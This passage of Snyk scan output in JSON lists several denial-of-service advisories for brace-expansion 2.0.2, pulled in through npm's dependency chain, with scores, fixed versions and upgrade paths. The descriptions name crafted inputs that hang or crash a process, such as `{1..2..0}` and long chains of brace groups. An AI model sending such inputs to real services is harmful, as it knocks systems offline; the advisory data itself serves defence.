"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
